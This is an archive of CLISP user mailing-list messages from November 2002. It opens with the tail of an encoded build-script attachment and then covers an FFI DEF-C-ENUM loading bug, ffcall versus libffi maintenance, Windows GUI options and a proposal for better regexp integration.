REVTKSAtYyBvcmFmbnMuYworCSQoQ0MpICQoQ0ZMQUdTKSAkKElOQ0xVREVTKSAkKE1ZX0lO Q0xVREVTKSAkKE9SQV9JTkNMVURFUykgLWMgb3JhZm5zLmMKIAogb2lmYWNlLm86ICAgICAg IG9pZmFjZS5jIG9pZmFjZS5oCi0JJChDQykgJChDRkxBR1MpICQoSU5DTFVERVMpICQoT1JB X0lOQ0xVREVTKSAtYyBvaWZhY2UuYworCSQoQ0MpICQoQ0ZMQUdTKSAkKElOQ0xVREVTKSAk KE1ZX0lOQ0xVREVTKSAkKE9SQV9JTkNMVURFUykgLWMgb2lmYWNlLmMKIAogIyBNYWtlIGEg bW9kdWxlCiBjbGlzcC1tb2R1bGUgOiBhbGwKRU9GCnBvcGQKCiMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBmaXJzdCBjb21waWxlIHdpdGhvdXQgcG9zdGdy ZXNxbDY0MiAKCgouL2NvbmZpZ3VyZSAtLXByZWZpeD0vbG9jYWwvbGFuZ3VhZ2UvY2xpc3Ag LS13aXRoLWV4cG9ydC1zeXNjYWxscyBgY2QgbW9kdWxlcyA7IGZvciBtIGluIGJpbmRpbmdz L2xpbnV4bGliYzYgIGNseC9uZXctY2x4IG9yYWNsZSAgICAgICAgICAgICAgIHF1ZWVucyBy ZWdleHAgd2lsZGNhcmQgOyBkbyBlY2hvIC0td2l0aC1tb2R1bGU9JG0gOyBkb25lYCAtLWh5 cGVyc3BlYz1odHRwOi8vd3d3LmluZm9ybWF0aW1hZ28uY29tL2xvY2FsL2xpc3AvSHlwZXJT cGVjLyAgCnB1c2hkIHNyYwouL21ha2VtYWtlIC0td2l0aC1keW5hbWljLWZmaSAgLS1wcmVm aXg9L2xvY2FsL2xhbmd1YWdlL2NsaXNwIC0td2l0aC1leHBvcnQtc3lzY2FsbHMgIC0td2l0 aC1tb2R1bGU9Y2x4L25ldy1jbHggLS13aXRoLW1vZHVsZT1vcmFjbGUgICAtLXdpdGgtbW9k dWxlPWJpbmRpbmdzL2xpbnV4bGliYzYgLS13aXRoLW1vZHVsZT1xdWVlbnMgLS13aXRoLW1v ZHVsZT1yZWdleHAgLS13aXRoLW1vZHVsZT13aWxkY2FyZCAtLWh5cGVyc3BlYz1odHRwOi8v d3d3LmluZm9ybWF0aW1hZ28uY29tL2xvY2FsL2xpc3AvSHlwZXJTcGVjLyAgID4gTWFrZWZp bGUKbWFrZSBjb25maWcubGlzcApjcCAuLi8uLi9jbGlzcC1wamItY29uZmlnLmxpc3AgY29u ZmlnLmxpc3AgCm1ha2UgCnBvcGQKCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjCiMgdGhlbiBjb21waWxlIHdpdGggcG9zdGdyZXNxbDY0MgoKLi9jb25maWd1 cmUgLS1wcmVmaXg9L2xvY2FsL2xhbmd1YWdlL2NsaXNwIC0td2l0aC1leHBvcnQtc3lzY2Fs bHMgYGNkIG1vZHVsZXMgOyBmb3IgbSBpbiBiaW5kaW5ncy9saW51eGxpYmM2ICBjbHgvbmV3 LWNseCBvcmFjbGUgcG9zdGdyZXNxbDY0MiBxdWVlbnMgcmVnZXhwIHdpbGRjYXJkIDsgZG8g ZWNobyAtLXdpdGgtbW9kdWxlPSRtIDsgZG9uZWAgLS1oeXBlcnNwZWM9aHR0cDovL3d3dy5p bmZvcm1hdGltYWdvLmNvbS9sb2NhbC9saXNwL0h5cGVyU3BlYy8gIAoKcHVzaGQgc3JjCi4v bWFrZW1ha2UgLS13aXRoLWR5bmFtaWMtZmZpICAtLXByZWZpeD0vbG9jYWwvbGFuZ3VhZ2Uv Y2xpc3AgLS13aXRoLWV4cG9ydC1zeXNjYWxscyAgLS13aXRoLW1vZHVsZT1jbHgvbmV3LWNs eCAtLXdpdGgtbW9kdWxlPW9yYWNsZSAtLXdpdGgtbW9kdWxlPXBvc3RncmVzcWw2NDIgIC0t d2l0aC1tb2R1bGU9YmluZGluZ3MvbGludXhsaWJjNiAtLXdpdGgtbW9kdWxlPXF1ZWVucyAt LXdpdGgtbW9kdWxlPXJlZ2V4cCAtLXdpdGgtbW9kdWxlPXdpbGRjYXJkIC0taHlwZXJzcGVj PWh0dHA6Ly93d3cuaW5mb3JtYXRpbWFnby5jb20vbG9jYWwvbGlzcC9IeXBlclNwZWMvICAg PiBNYWtlZmlsZQptYWtlIGNvbmZpZy5saXNwCmNwIC4uLy4uL2NsaXNwLXBqYi1jb25maWcu bGlzcCBjb25maWcubGlzcCAKbWFrZQpwb3BkCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjCiMgRmluYWxseSwgY2hlY2suCnB1c2hkIHNyYwptYWtlIGNoZWNr CnBvcGQKCmV4aXQgMAojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCgoK --thalassa.informatimago.com.74991451.2002-11-26-13-42-42/-1-- From postmaster@andrew2.stanford.edu Tue Nov 26 04:46:27 2002 Received: from smtp1.stanford.edu ([171.64.14.23]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Gf6g-0005IL-00 for ; Tue, 26 Nov 2002 04:46:26 -0800 Received: from smtp1.Stanford.EDU (localhost [127.0.0.1]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAQCkQo08056 for ; Tue, 26 Nov 2002 04:46:26 -0800 (PST) Received: from andrew2.stanford.edu (Andrew2.Stanford.EDU [171.66.248.177]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAQCkP108052 for ; Tue, 26 Nov 2002 04:46:25 -0800 (PST) Received: from ANDREW2/SpoolDir by andrew2.stanford.edu (Mercury 1.48); 26 Nov 02 04:46:36 -0800 Received: from SpoolDir by ANDREW2 (Mercury 1.48); 26 Nov 02 04:46:21 -0800 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <5CE02CC0021@andrew2.stanford.edu> Subject: [clisp-list] clisp-list digest, Vol 1 #655 - 10 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 04:47:03 2002 X-Original-Date: Tue, 26 Nov 2002 4:46:21 -0800 Hi! I'm out of town until Nov 30th. Although I will occasionally be online, I may not be able to reply to you until I return. If you have a lab issues that requires immediate attention, you may want to contact Devaki Bhaya or call the lab at 650.325.1521.605. In case of personal emergency, please contact my housemate, David Coale, at 650.493.4503. He has emergency contact information for me. Cheers, 'Jeff From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 26 08:43:56 2002 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18GioU-0007Cm-00 for ; Tue, 26 Nov 2002 08:43:54 -0800 Received: from mail1.telekom.de ([62.225.183.235]:51297) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 18Gh7Q-0007Gm-00 for ; Tue, 26 Nov 2002 06:55:21 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 26 Nov 2002 15:51:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Nov 2002 15:51:41 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Subject: [clisp-list] modules and FFI _dependency_ make target `clisp-modu le') Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=2.0 required=7.0 tests=DOUBLE_CAPSWORD,MSG_ID_ADDED_BY_MTA_3 version=2.21 X-Spam-Level: ** Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 08:44:07 2002 X-Original-Date: Tue, 26 Nov 2002 15:51:34 +0100 Pascal Bourguignon writes: >So, it seems that postgresql642 needs FFI, but FFI is not compiled or >integrated before postgresql642. I doubt FFI is not included in any typical build of CLISP. >;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas = ... >*** - Incomplete FFI type ConnStatusType is not allowed here. It looks like a problem when loading a .fas file without loading the = .lisp file. This hints to a macroexpansion or EVAL-WHEN problem. I believe you found a bug in DEF-C-ENUM: (def-c-enum ConnStatusType CONNECTION_OK CONNECTION_BAD) DEF-C-ENUM ought to produce some (EVAL-WHEN (LOAD COMPILE EVAL) (SETF (gethash ',name *c-type-table*) 'int) ) like DEF-C-TYPE does (via ffi::parse-c-type). Currently, it only binds the type to the name as a side-effect of = macroexpansion. No wonder it doesn't work with just a .fas file. Here's how to patch (untested) (defmacro DEF-C-ENUM (&whole whole name &rest items) ...; from my CLISP 2.28 (push `(DEFCONSTANT ,item ,next-value) forms) (setq next-value `(1+ ,item))) `(PROGN ,@(nreverse forms) (DEF-C-TYPE ,name INT)))) ; def-c-type is overkill, but it's regular (no short-circuit = optimization) ; and does the right thing: ; (setf (gethash name *c-type-table*) 'int) in all relevant contexts. >Also, it's surprizing that when you re-configure with a different set >of modules, those that are not configured in the later run are still >included (just because their object files are still there). I believe what is needed is documentation on what the link kit should = do in the presence of multiple reconfigures (if allowed) and about = successively building and linking modules. I cannot help here (Kaz?), I never used the clisp-link script nor tried = to understand it (script and concept). Regards, J=F6rg H=F6hle. From amoroso@mclink.it Tue Nov 26 11:24:56 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GlKD-0003o3-00 for ; Tue, 26 Nov 2002 11:24:49 -0800 Received: from net203-138-205.mclink.it (net203-138-205.mclink.it [213.203.138.205]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id gAQJOjw14645 for ; Tue, 26 Nov 2002 20:24:45 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clue+clio+xit Organization: Paolo Amoroso - Milan, ITALY Message-ID: <=cfjPVsQEhPdq5ooTJP5QuLabway@4ax.com> References: <20021126033358.74900464C0@thalassa.informatimago.com> In-Reply-To: <20021126033358.74900464C0@thalassa.informatimago.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 11:25:06 2002 X-Original-Date: Tue, 26 Nov 2002 20:21:18 +0100 On Tue, 26 Nov 2002 04:33:58 +0100 (CET), Pascal Bourguignon wrote: > Is there any clue+clio+xit more up-to-date than that I found on > ftp://ftp.gnu.org/gnu/clisp/packages/ or the various mirrors like > ftp://cvs2.cons.org/pub/lisp/clisp/packages ? Peter Van Eynde is maintaining CLUE, CLIO and XIT as part of CLOCC: http://clocc.sourceforge.net As far as I know, his code works at least under CMU CL. But it may be easier for you to start with a more up to date source tree. > Seeing the dates in clisp/packages, it seems like nothing more has > been done in Lisp for ten years... :-( Things in the Lisp community tend to happen behind the scenes ;-) Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From rushing@sigecom.net Tue Nov 26 14:42:02 2002 Received: from [192.195.225.6] (helo=antares.evansville.edu) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GoP4-0001Bp-00 for ; Tue, 26 Nov 2002 14:42:02 -0800 Received: from sigecom.net (localhost.localdomain [127.0.0.1]) by antares.evansville.edu (Postfix) with ESMTP id 92A2D396ED for ; Tue, 26 Nov 2002 16:47:24 -0600 (CST) Message-ID: <3DE3F9FB.7090105@sigecom.net> From: Stephen Compall User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] status of ffcall Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 14:43:02 2002 X-Original-Date: Tue, 26 Nov 2002 16:47:23 -0600 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Greetings CLISP users, I apologize if this is an inappropriate forum for this question; however, there seems to be no separate ffcall list. I inquired on the DotGNU developers mailing list about using ffcall instead of the libffi from the GCC tree for the Portable .NET project, and here is his reply: > It appears that the most recent version of ffcall, 1.8, dates back > to January 2001. Whereas libffi is part of the gcc tree, and has > the possibility of being actively maintained by the gcc community. > > While ffcall seems to be more complete, I would feel happier if > there was active maintainence of the project. I will point him to the CLISP tree on Savannah. However, I'd like a more canonical point to stand on: does ffcall meet the requirement of "active maintenance"? Please cross-post replies to developers@dotgnu.org . - -- Stephen Compall Also known as S11001001 DotGNU `Contributor' -- http://dotgnu.org But how you can encourage greater production of works in the 1920's by extending copyright today escapes me, unless they have a time machine somewhere. -- RMS, "Copyright and Globalization in the Age of Computer Networks", on retroactive copyright extension by the U.S. Government -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE94/mG2AceYinZ4EgRApHXAKCqLAqGTykmQ9+AHr2CrL/mJWlZ7gCeJuTI NHMka6jpRD88Ye/G1i6L0B4= =PNy8 -----END PGP SIGNATURE----- From sds@gnu.org Tue Nov 26 15:56:37 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GpZF-0005oj-00 for ; Tue, 26 Nov 2002 15:56:37 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop015.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021126235629.PAYX28019.pop015.verizon.net@loiso.podval.org>; Tue, 26 Nov 2002 17:56:29 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAQNunk7026146; Tue, 26 Nov 2002 18:56:49 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAQNum4s026142; Tue, 26 Nov 2002 18:56:48 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Stephen Compall Cc: clisp-list@lists.sourceforge.net, developers@dotgnu.org Subject: Re: [clisp-list] status of ffcall References: <3DE3F9FB.7090105@sigecom.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DE3F9FB.7090105@sigecom.net> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.48.21] at Tue, 26 Nov 2002 17:56:29 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 15:57:03 2002 X-Original-Date: 26 Nov 2002 18:56:48 -0500 > * In message <3DE3F9FB.7090105@sigecom.net> > * On the subject of "[clisp-list] status of ffcall" > * Sent on Tue, 26 Nov 2002 16:47:23 -0600 > * Honorable Stephen Compall writes: > > I inquired on the DotGNU developers mailing list about using ffcall > instead of the libffi from the GCC tree for the Portable .NET project, > and here is his reply: > > > It appears that the most recent version of ffcall, 1.8, dates back > > to January 2001. Whereas libffi is part of the gcc tree, and has > > the possibility of being actively maintained by the gcc community. > > > > While ffcall seems to be more complete, I would feel happier if > > there was active maintainence of the project. > > I will point him to the CLISP tree on Savannah. FFCALL's source tree is hosted on SourceForge. > However, I'd like a more canonical point to stand on: does ffcall meet > the requirement of "active maintenance"? FFCALL is distributed with CLISP and is used by CLISP's FFI. It has been ported to many platforms (most recently to IBM s/390 by Gerhard Tonn on 2002-03-24 and to HP-UX assembler by LaMont Jones on 2002-07-01). The author of FFCALL, Bruno Haible, is the ultimate authority on the status of FFCALL. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Sufficiently advanced stupidity is indistinguishable from malice. From wnewton@cmedltd.com Wed Nov 27 02:15:33 2002 Received: from host99.thirdphase.com ([194.202.166.99] helo=cambridge.cmedltd.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GzE2-0007Hv-00 for ; Wed, 27 Nov 2002 02:15:22 -0800 Received: (qmail 14458 invoked by uid 8); 27 Nov 2002 10:15:09 -0000 Received: from pc-00203 (192.168.64.203, claiming to be "there") by jack.cambridge.cmedltd.com with SMTP id smtpd9VXyJd; Wed, 27 Nov 2002 05:15:00 EST Content-Type: text/plain; charset="iso-8859-1" From: Will Newton Organization: Cmed To: sds@gnu.org, Stephen Compall Subject: Re: [clisp-list] status of ffcall X-Mailer: KMail [version 1.3.2] Cc: clisp-list@lists.sourceforge.net, developers@dotgnu.org References: <3DE3F9FB.7090105@sigecom.net> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 02:16:06 2002 X-Original-Date: Wed, 27 Nov 2002 10:15:49 +0000 On Tuesday 26 November 2002 11:56 pm, Sam Steingold wrote: > FFCALL is distributed with CLISP and is used by CLISP's FFI. > It has been ported to many platforms (most recently to IBM s/390 by > Gerhard Tonn on 2002-03-24 and to HP-UX assembler by LaMont Jones on > 2002-07-01). It should be noted that ffcall does not work on the following Linux arches: arm - assembler syntax is wrong? hppa - needs rewrite for Linux ABI mipsel - may just need a recompile From Pinte_Stanislas@emc.com Wed Nov 27 03:28:33 2002 Received: from mxic1.isus.emc.com ([168.159.129.100]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18H0Mr-0003Ak-00 for ; Wed, 27 Nov 2002 03:28:33 -0800 Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Nov 2002 06:28:18 -0500 Message-ID: <8D3680004D2FD5118B510002B32C0FBE6EC39F@bebr3mx1.corp.emc.com> From: Pinte_Stanislas@emc.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] extensions/modules questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 03:29:02 2002 X-Original-Date: Wed, 27 Nov 2002 06:28:15 -0500 hello, where can I find a comprehensive list of the extensions, bindings to external libs (like postgres, gtk, ...) available for CLISP. If I want to make a GUI using CLISP on windows, any suggestions? thanks a lot, Stan. From sds@gnu.org Wed Nov 27 05:05:42 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18H1ss-0008FC-00 for ; Wed, 27 Nov 2002 05:05:42 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out003.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021127130534.CRPH12337.out003.verizon.net@loiso.podval.org>; Wed, 27 Nov 2002 07:05:34 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gARD62k7028357; Wed, 27 Nov 2002 08:06:02 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gARD62an028353; Wed, 27 Nov 2002 08:06:02 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Pinte_Stanislas@emc.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] extensions/modules questions References: <8D3680004D2FD5118B510002B32C0FBE6EC39F@bebr3mx1.corp.emc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <8D3680004D2FD5118B510002B32C0FBE6EC39F@bebr3mx1.corp.emc.com> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.48.21] at Wed, 27 Nov 2002 07:05:34 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 05:06:03 2002 X-Original-Date: 27 Nov 2002 08:06:02 -0500 > * In message <8D3680004D2FD5118B510002B32C0FBE6EC39F@bebr3mx1.corp.emc.com> > * On the subject of "[clisp-list] extensions/modules questions" > * Sent on Wed, 27 Nov 2002 06:28:15 -0500 > * Honorable Pinte_Stanislas@emc.com writes: > > where can I find a comprehensive list of the extensions, bindings to > external libs (like postgres, gtk, ...) available for CLISP. did it occur to you to look at the documentation? > If I want to make a GUI using CLISP on windows, any suggestions? gdi from Dan Stanger (see ) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The only time you have too much fuel is when you're on fire. From haible@ilog.fr Wed Nov 27 05:20:32 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18H27B-0003Ms-00 for ; Wed, 27 Nov 2002 05:20:29 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id gARDKJx07398; Wed, 27 Nov 2002 14:20:19 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id gARDKI227264; Wed, 27 Nov 2002 14:20:18 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA05298; Wed, 27 Nov 2002 14:19:14 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15844.50769.896263.48057@honolulu.ilog.fr> From: Bruno Haible To: Stephen Compall , clisp-list@lists.sourceforge.net, developers@dotgnu.org Subject: Re: [clisp-list] status of ffcall In-Reply-To: References: <3DE3F9FB.7090105@sigecom.net> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 05:21:04 2002 X-Original-Date: Wed, 27 Nov 2002 14:19:13 +0100 (CET) > > > It appears that the most recent version of ffcall, 1.8, dates back > > > to January 2001. Whereas libffi is part of the gcc tree, and has > > > the possibility of being actively maintained by the gcc community. ... ffcall is part of the clisp tree and is actively maintained by the clisp community. The major differences between ffcall and libffi are: - License: ffcall is under GPL, libffi under LGPL. - Scope: ffcall does both the callouts to C and the callbacks from C, whereas libffi does only the callouts. - Functionality: ffcall also works for many simple 'struct' types. Bruno From dan.stanger@ieee.org Wed Nov 27 05:25:17 2002 Received: from mail2.hypermall.com ([216.241.37.118] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18H2Bp-0004Xy-00 for ; Wed, 27 Nov 2002 05:25:17 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.36 #1) id 18H2Bo-0003fB-00 for clisp-list@lists.sourceforge.net; Wed, 27 Nov 2002 06:25:16 -0700 Message-ID: <3DE4C7EF.8B37D3C5@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] MS windows gui's Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 05:26:08 2002 X-Original-Date: Wed, 27 Nov 2002 06:26:08 -0700 I am thinking of porting one of the gui packages to MS windows. I am leaning toward CLIM, but would also consider CLUE. Any opinions on which one to work on? From Joerg-Cyril.Hoehle@t-systems.com Wed Nov 27 07:32:06 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18H4AW-0008Bd-00 for ; Wed, 27 Nov 2002 07:32:05 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Nov 2002 16:31:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Nov 2002 16:31:54 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] task proposal: better integrated regexp (was: modules and FFI _de pendency_) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 07:33:01 2002 X-Original-Date: Wed, 27 Nov 2002 16:31:44 +0100 Hi, I wrote: >I doubt FFI is not included in any typical build of CLISP. I have to correct myself: I forgot some of the compilation problems = with ffcall mentioned by Will Newton et al. No ffcall =3D> no FFI, thus there are builds of CLISP on UNIX without = FFI. However, Dan's gdi module should still work, since I've recently = pointed out that modules do not necessarily depend upon the FFI. An interesting(?) call for volunteer task could be: better integration of regexp into CLISP a) it depends on the FFI b) as such, it uses "1:1" C-style strings, whereas CLISP uses some UCS = internally. The result for each call is character encoding conversion = from CLISP's internal format to custom:*foreign-encoding* (probably = iso-8859-1). c) because of 1:1, it doesn't work with all supported encodings, e.g. = not with Chineese, Korean or Japaneese ones d) the API is not efficient at all (w.r.t. to multiple invocations), as = I pointed out in April, subject "About speed, and regexp&FFI in = particular". The better regexp module could operate directly on CLISP strings, = without encoding conversion and copying strings on the stack. i) A version of the regexp code which operates on two-byte characters = would integrate much better with CLISP. ii) While doing so, the regexp interface could be turned into a "pure = module", not needing the FFI (for howto see my module cookbook). Problem areas: 1) I don't know whether the GNU/perl/xyz regexp code would have to be = changed for this to work. 2) Furthermore, CLISP also uses some 7bit strings internally (e.g. on = some constant symbols names): don't assume everything is UCS-2. Of course, one could argue this is solely an optimization area (except = for the 1:1 restriction). Time and effort might be better devoted to = bringing new things to CLISP. Difficulty: unassessed because of 1) Interest/Fun factor: not assessed Any comments? Is sourceforge's task section a good place for these kinds of = proposals? Regards, J=F6rg H=F6hle. From df@psychology.nottingham.ac.uk Wed Nov 27 16:15:53 2002 Received: from mta06-svc.ntlworld.com 